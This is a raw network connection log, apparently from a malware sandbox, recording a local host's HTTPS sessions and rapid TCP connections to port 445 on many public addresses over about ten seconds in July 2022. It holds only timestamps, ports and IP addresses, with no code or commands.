Jul 20, 2022 15:43:53.337613106 CEST	49714	80	192.168.2.7	209.197.3.8
Jul 20, 2022 15:43:53.447762966 CEST	50321	445	192.168.2.7	54.247.208.103
Jul 20, 2022 15:43:53.650007963 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.650068998 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.650223970 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.650994062 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.651021004 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.680119991 CEST	50323	445	192.168.2.7	144.145.52.139
Jul 20, 2022 15:43:53.707592964 CEST	80	49720	93.184.220.29	192.168.2.7
Jul 20, 2022 15:43:53.709011078 CEST	49720	80	192.168.2.7	93.184.220.29
Jul 20, 2022 15:43:53.725671053 CEST	50305	445	192.168.2.7	175.183.57.239
Jul 20, 2022 15:43:53.765383959 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.765599012 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.770519018 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.770534039 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.771214008 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.777277946 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.777518034 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.777529001 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.777746916 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.808130980 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.808245897 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.808451891 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.808779955 CEST	50322	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:53.808821917 CEST	443	50322	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:53.920919895 CEST	50324	445	192.168.2.7	87.83.34.81
Jul 20, 2022 15:43:54.037098885 CEST	445	50305	175.183.57.239	192.168.2.7
Jul 20, 2022 15:43:54.226383924 CEST	50325	445	192.168.2.7	170.41.169.35
Jul 20, 2022 15:43:54.258049965 CEST	50326	445	192.168.2.7	133.170.235.9
Jul 20, 2022 15:43:54.258096933 CEST	50327	445	192.168.2.7	156.152.250.239
Jul 20, 2022 15:43:54.258220911 CEST	50328	445	192.168.2.7	171.24.143.217
Jul 20, 2022 15:43:54.273492098 CEST	50329	445	192.168.2.7	46.107.7.80
Jul 20, 2022 15:43:54.274075985 CEST	50330	445	192.168.2.7	188.18.139.3
Jul 20, 2022 15:43:54.306191921 CEST	50331	445	192.168.2.7	44.10.23.90
Jul 20, 2022 15:43:54.307020903 CEST	50332	445	192.168.2.7	18.207.3.90
Jul 20, 2022 15:43:54.307356119 CEST	50333	445	192.168.2.7	97.181.4.116
Jul 20, 2022 15:43:54.307908058 CEST	50334	445	192.168.2.7	4.208.158.22
Jul 20, 2022 15:43:54.308624983 CEST	445	50329	46.107.7.80	192.168.2.7
Jul 20, 2022 15:43:54.309564114 CEST	50335	445	192.168.2.7	61.10.163.73
Jul 20, 2022 15:43:54.317620993 CEST	50336	445	192.168.2.7	188.214.154.228
Jul 20, 2022 15:43:54.318103075 CEST	50337	445	192.168.2.7	103.143.110.155
Jul 20, 2022 15:43:54.318598986 CEST	50338	445	192.168.2.7	166.186.88.39
Jul 20, 2022 15:43:54.319104910 CEST	50339	445	192.168.2.7	99.183.156.51
Jul 20, 2022 15:43:54.530194044 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.530263901 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.530369997 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.531059980 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.531089067 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.570265055 CEST	50341	445	192.168.2.7	34.198.246.233
Jul 20, 2022 15:43:54.626004934 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.626127005 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.628196955 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.628221035 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.628583908 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.629501104 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.629581928 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.629592896 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.629873991 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.658540010 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.658617973 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.658682108 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.658777952 CEST	50340	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:43:54.658799887 CEST	443	50340	20.199.120.182	192.168.2.7
Jul 20, 2022 15:43:54.667001963 CEST	80	49719	93.184.220.29	192.168.2.7
Jul 20, 2022 15:43:54.667134047 CEST	49719	80	192.168.2.7	93.184.220.29
Jul 20, 2022 15:43:54.804728985 CEST	50342	445	192.168.2.7	166.49.252.232
Jul 20, 2022 15:43:54.819433928 CEST	50329	445	192.168.2.7	46.107.7.80
Jul 20, 2022 15:43:54.854576111 CEST	445	50329	46.107.7.80	192.168.2.7
Jul 20, 2022 15:43:55.038800955 CEST	50343	445	192.168.2.7	176.106.190.214
Jul 20, 2022 15:43:55.336498022 CEST	50344	445	192.168.2.7	188.18.139.4
Jul 20, 2022 15:43:55.351860046 CEST	50345	445	192.168.2.7	50.110.109.241
Jul 20, 2022 15:43:55.367088079 CEST	50346	445	192.168.2.7	65.152.241.85
Jul 20, 2022 15:43:55.367621899 CEST	50347	445	192.168.2.7	207.15.218.134
Jul 20, 2022 15:43:55.369832039 CEST	50348	445	192.168.2.7	54.202.43.176
Jul 20, 2022 15:43:55.383337975 CEST	50349	445	192.168.2.7	73.92.143.129
Jul 20, 2022 15:43:55.429405928 CEST	50350	445	192.168.2.7	16.24.4.134
Jul 20, 2022 15:43:55.429913998 CEST	50351	445	192.168.2.7	7.211.152.108
Jul 20, 2022 15:43:55.430413961 CEST	50352	445	192.168.2.7	162.146.220.32
Jul 20, 2022 15:43:55.430891991 CEST	50353	445	192.168.2.7	8.85.117.83
Jul 20, 2022 15:43:55.431426048 CEST	50354	445	192.168.2.7	162.248.192.126
Jul 20, 2022 15:43:55.431879044 CEST	50355	445	192.168.2.7	56.87.35.88
Jul 20, 2022 15:43:55.433104992 CEST	50356	445	192.168.2.7	32.193.91.139
Jul 20, 2022 15:43:55.433130026 CEST	50357	445	192.168.2.7	183.75.162.245
Jul 20, 2022 15:43:55.433208942 CEST	50358	445	192.168.2.7	207.179.26.162
Jul 20, 2022 15:43:55.464268923 CEST	50359	445	192.168.2.7	144.88.243.27
Jul 20, 2022 15:43:55.695197105 CEST	50360	445	192.168.2.7	31.238.142.38
Jul 20, 2022 15:43:55.929740906 CEST	50361	445	192.168.2.7	106.211.222.0
Jul 20, 2022 15:43:56.165556908 CEST	50362	445	192.168.2.7	198.21.202.177
Jul 20, 2022 15:43:56.414688110 CEST	50363	445	192.168.2.7	188.18.139.5
Jul 20, 2022 15:43:56.477471113 CEST	50364	445	192.168.2.7	206.95.129.219
Jul 20, 2022 15:43:56.492340088 CEST	50365	445	192.168.2.7	144.100.155.189
Jul 20, 2022 15:43:56.492949009 CEST	50366	445	192.168.2.7	36.215.185.105
Jul 20, 2022 15:43:56.493629932 CEST	50367	445	192.168.2.7	220.156.162.150
Jul 20, 2022 15:43:56.508713961 CEST	50368	445	192.168.2.7	65.44.2.141
Jul 20, 2022 15:43:56.626130104 CEST	50369	445	192.168.2.7	119.42.64.205
Jul 20, 2022 15:43:56.627523899 CEST	50371	445	192.168.2.7	24.206.208.83
Jul 20, 2022 15:43:56.627535105 CEST	50370	445	192.168.2.7	23.212.192.35
Jul 20, 2022 15:43:56.627655029 CEST	50372	445	192.168.2.7	206.217.41.56
Jul 20, 2022 15:43:56.627675056 CEST	50373	445	192.168.2.7	125.68.155.55
Jul 20, 2022 15:43:56.627774954 CEST	50375	445	192.168.2.7	109.132.133.142
Jul 20, 2022 15:43:56.627779961 CEST	50374	445	192.168.2.7	24.133.202.113
Jul 20, 2022 15:43:56.627872944 CEST	50376	445	192.168.2.7	171.251.149.5
Jul 20, 2022 15:43:56.628516912 CEST	50378	445	192.168.2.7	136.55.159.128
Jul 20, 2022 15:43:56.628520012 CEST	50377	445	192.168.2.7	89.236.244.229
Jul 20, 2022 15:43:56.826452017 CEST	50379	445	192.168.2.7	63.18.73.143
Jul 20, 2022 15:43:57.039088964 CEST	50380	445	192.168.2.7	86.198.172.47
Jul 20, 2022 15:43:57.289369106 CEST	50381	445	192.168.2.7	37.183.107.135
Jul 20, 2022 15:43:57.481334925 CEST	50382	445	192.168.2.7	210.189.246.130
Jul 20, 2022 15:43:57.492140055 CEST	50383	445	192.168.2.7	188.18.139.6
Jul 20, 2022 15:43:57.601676941 CEST	50384	445	192.168.2.7	52.17.200.249
Jul 20, 2022 15:43:57.617779970 CEST	50385	445	192.168.2.7	174.176.67.112
Jul 20, 2022 15:43:57.618326902 CEST	50386	445	192.168.2.7	47.58.152.93
Jul 20, 2022 15:43:57.618837118 CEST	50387	445	192.168.2.7	67.151.40.163
Jul 20, 2022 15:43:57.633323908 CEST	50388	445	192.168.2.7	142.227.22.160
Jul 20, 2022 15:43:57.732067108 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.732109070 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.732198954 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.735255957 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.735289097 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.754884958 CEST	50390	445	192.168.2.7	47.203.196.196
Jul 20, 2022 15:43:57.755492926 CEST	50391	445	192.168.2.7	149.197.36.37
Jul 20, 2022 15:43:57.755599976 CEST	50392	445	192.168.2.7	34.168.120.74
Jul 20, 2022 15:43:57.755686045 CEST	50393	445	192.168.2.7	49.66.8.64
Jul 20, 2022 15:43:57.755769968 CEST	50394	445	192.168.2.7	36.194.157.221
Jul 20, 2022 15:43:57.755836010 CEST	50395	445	192.168.2.7	62.207.100.226
Jul 20, 2022 15:43:57.755913019 CEST	50396	445	192.168.2.7	21.112.183.33
Jul 20, 2022 15:43:57.756011009 CEST	50397	445	192.168.2.7	88.104.171.78
Jul 20, 2022 15:43:57.756097078 CEST	50398	445	192.168.2.7	220.188.141.201
Jul 20, 2022 15:43:57.756150007 CEST	50399	445	192.168.2.7	97.160.171.151
Jul 20, 2022 15:43:57.841525078 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.841644049 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.843074083 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.843089104 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.845084906 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.845108032 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.891834974 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.891877890 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.891961098 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.892409086 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.892431974 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.954869032 CEST	50401	445	192.168.2.7	190.106.63.247
Jul 20, 2022 15:43:57.995592117 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.995728970 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.996433973 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.996443033 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:57.998302937 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:57.998322964 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.052122116 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.052170992 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.052201033 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.052225113 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.052249908 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.052258968 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.052284956 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.052320004 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.081001043 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.081123114 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.081161022 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.081190109 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.081336021 CEST	50389	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.081352949 CEST	443	50389	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.128839970 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.128870964 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.128947020 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.128984928 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.129009008 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.129971981 CEST	50400	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:43:58.129991055 CEST	443	50400	20.40.129.122	192.168.2.7
Jul 20, 2022 15:43:58.164437056 CEST	50402	445	192.168.2.7	203.38.233.209
Jul 20, 2022 15:43:58.416585922 CEST	50403	445	192.168.2.7	95.237.203.181
Jul 20, 2022 15:43:58.570360899 CEST	50404	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.611274004 CEST	50405	445	192.168.2.7	163.82.36.137
Jul 20, 2022 15:43:58.659332037 CEST	445	50404	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:58.659497023 CEST	50404	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.659780025 CEST	50404	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.664192915 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.726993084 CEST	50407	445	192.168.2.7	62.185.176.157
Jul 20, 2022 15:43:58.745533943 CEST	50408	445	192.168.2.7	134.193.50.37
Jul 20, 2022 15:43:58.746292114 CEST	50410	445	192.168.2.7	36.99.173.26
Jul 20, 2022 15:43:58.746401072 CEST	50409	445	192.168.2.7	68.199.125.243
Jul 20, 2022 15:43:58.751655102 CEST	445	50404	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:58.752496004 CEST	445	50406	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:58.752598047 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.752835035 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.759535074 CEST	50411	445	192.168.2.7	139.70.225.175
Jul 20, 2022 15:43:58.760375023 CEST	445	50404	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:58.760519981 CEST	50404	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.841366053 CEST	445	50406	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:58.850723028 CEST	445	50406	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:58.850920916 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:58.868587971 CEST	50413	445	192.168.2.7	134.97.146.176
Jul 20, 2022 15:43:58.869374037 CEST	50414	445	192.168.2.7	47.226.128.191
Jul 20, 2022 15:43:58.870110035 CEST	50415	445	192.168.2.7	183.142.73.212
Jul 20, 2022 15:43:58.870857000 CEST	50416	445	192.168.2.7	27.3.153.7
Jul 20, 2022 15:43:58.871522903 CEST	50417	445	192.168.2.7	80.151.179.233
Jul 20, 2022 15:43:58.872195959 CEST	50418	445	192.168.2.7	133.186.117.98
Jul 20, 2022 15:43:58.872924089 CEST	50419	445	192.168.2.7	14.133.146.78
Jul 20, 2022 15:43:58.873790026 CEST	50420	445	192.168.2.7	105.137.53.124
Jul 20, 2022 15:43:58.874577999 CEST	50421	445	192.168.2.7	223.101.76.24
Jul 20, 2022 15:43:58.926853895 CEST	445	50417	80.151.179.233	192.168.2.7
Jul 20, 2022 15:43:58.939992905 CEST	445	50406	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:58.940237045 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:59.028918982 CEST	445	50406	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:59.029190063 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:59.070496082 CEST	50422	445	192.168.2.7	210.26.133.172
Jul 20, 2022 15:43:59.139694929 CEST	445	50406	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:59.139888048 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:59.226994991 CEST	445	50406	188.18.139.7	192.168.2.7
Jul 20, 2022 15:43:59.227092981 CEST	50406	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:43:59.289248943 CEST	50423	445	192.168.2.7	86.92.252.51
Jul 20, 2022 15:43:59.429253101 CEST	50417	445	192.168.2.7	80.151.179.233
Jul 20, 2022 15:43:59.483154058 CEST	445	50417	80.151.179.233	192.168.2.7
Jul 20, 2022 15:43:59.504618883 CEST	50424	445	192.168.2.7	100.78.114.9
Jul 20, 2022 15:43:59.539191008 CEST	50425	445	192.168.2.7	108.23.181.151
Jul 20, 2022 15:43:59.727269888 CEST	50426	445	192.168.2.7	57.19.179.152
Jul 20, 2022 15:43:59.853712082 CEST	50427	445	192.168.2.7	59.169.96.196
Jul 20, 2022 15:43:59.867799997 CEST	50428	445	192.168.2.7	195.252.230.73
Jul 20, 2022 15:43:59.868561029 CEST	50429	445	192.168.2.7	158.146.135.210
Jul 20, 2022 15:43:59.869275093 CEST	50430	445	192.168.2.7	70.51.226.9
Jul 20, 2022 15:43:59.884624958 CEST	50431	445	192.168.2.7	42.156.27.183
Jul 20, 2022 15:44:00.000570059 CEST	50432	445	192.168.2.7	208.69.201.37
Jul 20, 2022 15:44:00.003142118 CEST	50434	445	192.168.2.7	45.156.134.118
Jul 20, 2022 15:44:00.003155947 CEST	50433	445	192.168.2.7	162.181.204.71
Jul 20, 2022 15:44:00.003236055 CEST	50435	445	192.168.2.7	1.162.139.111
Jul 20, 2022 15:44:00.003331900 CEST	50437	445	192.168.2.7	42.90.106.176
Jul 20, 2022 15:44:00.003351927 CEST	50436	445	192.168.2.7	103.157.249.131
Jul 20, 2022 15:44:00.003424883 CEST	50438	445	192.168.2.7	10.254.168.240
Jul 20, 2022 15:44:00.003485918 CEST	50439	445	192.168.2.7	185.0.59.195
Jul 20, 2022 15:44:00.003537893 CEST	50441	445	192.168.2.7	121.14.72.236
Jul 20, 2022 15:44:00.003556967 CEST	50440	445	192.168.2.7	169.144.249.62
Jul 20, 2022 15:44:00.196330070 CEST	50442	445	192.168.2.7	175.197.48.227
Jul 20, 2022 15:44:00.415033102 CEST	50443	445	192.168.2.7	60.105.150.227
Jul 20, 2022 15:44:00.618778944 CEST	50444	445	192.168.2.7	6.223.116.213
Jul 20, 2022 15:44:00.666402102 CEST	50445	445	192.168.2.7	137.7.147.243
Jul 20, 2022 15:44:00.725800991 CEST	445	50443	60.105.150.227	192.168.2.7
Jul 20, 2022 15:44:00.851946115 CEST	50446	445	192.168.2.7	203.58.77.137
Jul 20, 2022 15:44:00.977969885 CEST	50447	445	192.168.2.7	61.175.116.221
Jul 20, 2022 15:44:00.992660046 CEST	50448	445	192.168.2.7	51.75.145.205
Jul 20, 2022 15:44:00.993237972 CEST	50449	445	192.168.2.7	85.38.192.87
Jul 20, 2022 15:44:00.993900061 CEST	50450	445	192.168.2.7	211.167.176.155
Jul 20, 2022 15:44:01.009511948 CEST	50451	445	192.168.2.7	15.168.69.233
Jul 20, 2022 15:44:01.010854006 CEST	445	50448	51.75.145.205	192.168.2.7
Jul 20, 2022 15:44:01.117567062 CEST	50452	445	192.168.2.7	41.19.146.204
Jul 20, 2022 15:44:01.122205973 CEST	50454	445	192.168.2.7	203.115.85.94
Jul 20, 2022 15:44:01.122322083 CEST	50455	445	192.168.2.7	204.250.3.221
Jul 20, 2022 15:44:01.122389078 CEST	50456	445	192.168.2.7	119.0.69.139
Jul 20, 2022 15:44:01.122458935 CEST	50457	445	192.168.2.7	64.84.133.176
Jul 20, 2022 15:44:01.122498989 CEST	50458	445	192.168.2.7	44.197.73.249
Jul 20, 2022 15:44:01.122649908 CEST	50460	445	192.168.2.7	93.107.152.201
Jul 20, 2022 15:44:01.122700930 CEST	50461	445	192.168.2.7	128.164.103.34
Jul 20, 2022 15:44:01.123384953 CEST	50453	445	192.168.2.7	51.215.80.249
Jul 20, 2022 15:44:01.123420000 CEST	50459	445	192.168.2.7	64.215.243.200
Jul 20, 2022 15:44:01.306138992 CEST	50462	445	192.168.2.7	183.162.1.218
Jul 20, 2022 15:44:01.398116112 CEST	50443	445	192.168.2.7	60.105.150.227
Jul 20, 2022 15:44:01.518202066 CEST	50463	445	192.168.2.7	83.184.85.232
Jul 20, 2022 15:44:01.540951967 CEST	50464	445	192.168.2.7	3.150.110.87
Jul 20, 2022 15:44:01.585663080 CEST	50448	445	192.168.2.7	51.75.145.205
Jul 20, 2022 15:44:01.603940964 CEST	445	50448	51.75.145.205	192.168.2.7
Jul 20, 2022 15:44:01.708442926 CEST	445	50443	60.105.150.227	192.168.2.7
Jul 20, 2022 15:44:01.736258984 CEST	50465	445	192.168.2.7	48.85.102.233
Jul 20, 2022 15:44:01.789923906 CEST	50466	445	192.168.2.7	126.228.89.230
Jul 20, 2022 15:44:01.981734037 CEST	50467	445	192.168.2.7	116.190.172.125
Jul 20, 2022 15:44:02.111509085 CEST	50468	445	192.168.2.7	159.141.138.147
Jul 20, 2022 15:44:02.121238947 CEST	50469	445	192.168.2.7	120.43.51.58
Jul 20, 2022 15:44:02.121956110 CEST	50470	445	192.168.2.7	22.245.189.175
Jul 20, 2022 15:44:02.127237082 CEST	50471	445	192.168.2.7	68.160.150.48
Jul 20, 2022 15:44:02.134624958 CEST	50472	445	192.168.2.7	20.153.57.51
Jul 20, 2022 15:44:02.148998022 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.239248991 CEST	445	50473	188.18.139.7	192.168.2.7
Jul 20, 2022 15:44:02.239509106 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.249406099 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.250644922 CEST	50474	445	192.168.2.7	172.192.216.246
Jul 20, 2022 15:44:02.251265049 CEST	50475	445	192.168.2.7	82.61.30.60
Jul 20, 2022 15:44:02.251807928 CEST	50476	445	192.168.2.7	1.35.141.248
Jul 20, 2022 15:44:02.252634048 CEST	50477	445	192.168.2.7	222.218.61.195
Jul 20, 2022 15:44:02.278181076 CEST	50478	445	192.168.2.7	20.29.10.52
Jul 20, 2022 15:44:02.278302908 CEST	50479	445	192.168.2.7	184.21.118.144
Jul 20, 2022 15:44:02.278412104 CEST	50481	445	192.168.2.7	184.243.12.118
Jul 20, 2022 15:44:02.278429985 CEST	50480	445	192.168.2.7	178.184.147.223
Jul 20, 2022 15:44:02.278486967 CEST	50482	445	192.168.2.7	33.235.37.240
Jul 20, 2022 15:44:02.278944016 CEST	50483	445	192.168.2.7	158.149.33.207
Jul 20, 2022 15:44:02.339417934 CEST	445	50473	188.18.139.7	192.168.2.7
Jul 20, 2022 15:44:02.339462996 CEST	445	50473	188.18.139.7	192.168.2.7
Jul 20, 2022 15:44:02.339663029 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.429416895 CEST	445	50473	188.18.139.7	192.168.2.7
Jul 20, 2022 15:44:02.430706024 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.443002939 CEST	50484	445	192.168.2.7	157.70.180.76
Jul 20, 2022 15:44:02.520021915 CEST	445	50473	188.18.139.7	192.168.2.7
Jul 20, 2022 15:44:02.520329952 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.607759953 CEST	445	50473	188.18.139.7	192.168.2.7
Jul 20, 2022 15:44:02.607897043 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.637722015 CEST	50485	445	192.168.2.7	128.21.232.254
Jul 20, 2022 15:44:02.693064928 CEST	50486	445	192.168.2.7	161.130.250.17
Jul 20, 2022 15:44:02.696075916 CEST	50487	445	192.168.2.7	188.18.139.8
Jul 20, 2022 15:44:02.699304104 CEST	445	50473	188.18.139.7	192.168.2.7
Jul 20, 2022 15:44:02.699419022 CEST	50473	445	192.168.2.7	188.18.139.7
Jul 20, 2022 15:44:02.944535971 CEST	50488	445	192.168.2.7	169.209.135.131
Jul 20, 2022 15:44:03.143630981 CEST	50489	445	192.168.2.7	223.59.34.101
Jul 20, 2022 15:44:03.224091053 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.224143982 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.224252939 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.225481987 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.225502014 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.260814905 CEST	50491	445	192.168.2.7	10.143.73.69
Jul 20, 2022 15:44:03.261337042 CEST	50492	445	192.168.2.7	144.108.77.12
Jul 20, 2022 15:44:03.261835098 CEST	50493	445	192.168.2.7	206.17.223.227
Jul 20, 2022 15:44:03.262325048 CEST	50494	445	192.168.2.7	165.30.5.174
Jul 20, 2022 15:44:03.262804985 CEST	50495	445	192.168.2.7	53.198.247.180
Jul 20, 2022 15:44:03.263325930 CEST	50496	445	192.168.2.7	76.130.10.171
Jul 20, 2022 15:44:03.335829973 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.336020947 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.344170094 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.344198942 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.344702005 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.346057892 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.346101046 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.346112013 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.346230984 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.369405031 CEST	50497	445	192.168.2.7	38.177.37.14
Jul 20, 2022 15:44:03.370034933 CEST	50498	445	192.168.2.7	51.62.58.136
Jul 20, 2022 15:44:03.370556116 CEST	50499	445	192.168.2.7	214.64.98.72
Jul 20, 2022 15:44:03.371051073 CEST	50500	445	192.168.2.7	69.182.216.254
Jul 20, 2022 15:44:03.388497114 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.405797958 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.405884027 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.406110048 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.458033085 CEST	50490	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:44:03.458065033 CEST	443	50490	20.199.120.182	192.168.2.7
Jul 20, 2022 15:44:03.458933115 CEST	50501	445	192.168.2.7	110.22.122.76
Jul 20, 2022 15:44:03.459465027 CEST	50502	445	192.168.2.7	110.195.2.95
Jul 20, 2022 15:44:03.459975958 CEST	50503	445	192.168.2.7	131.44.124.206
Jul 20, 2022 15:44:03.460555077 CEST	50504	445	192.168.2.7	172.88.113.109
Jul 20, 2022 15:44:03.467174053 CEST	50505	445	192.168.2.7	42.157.164.73
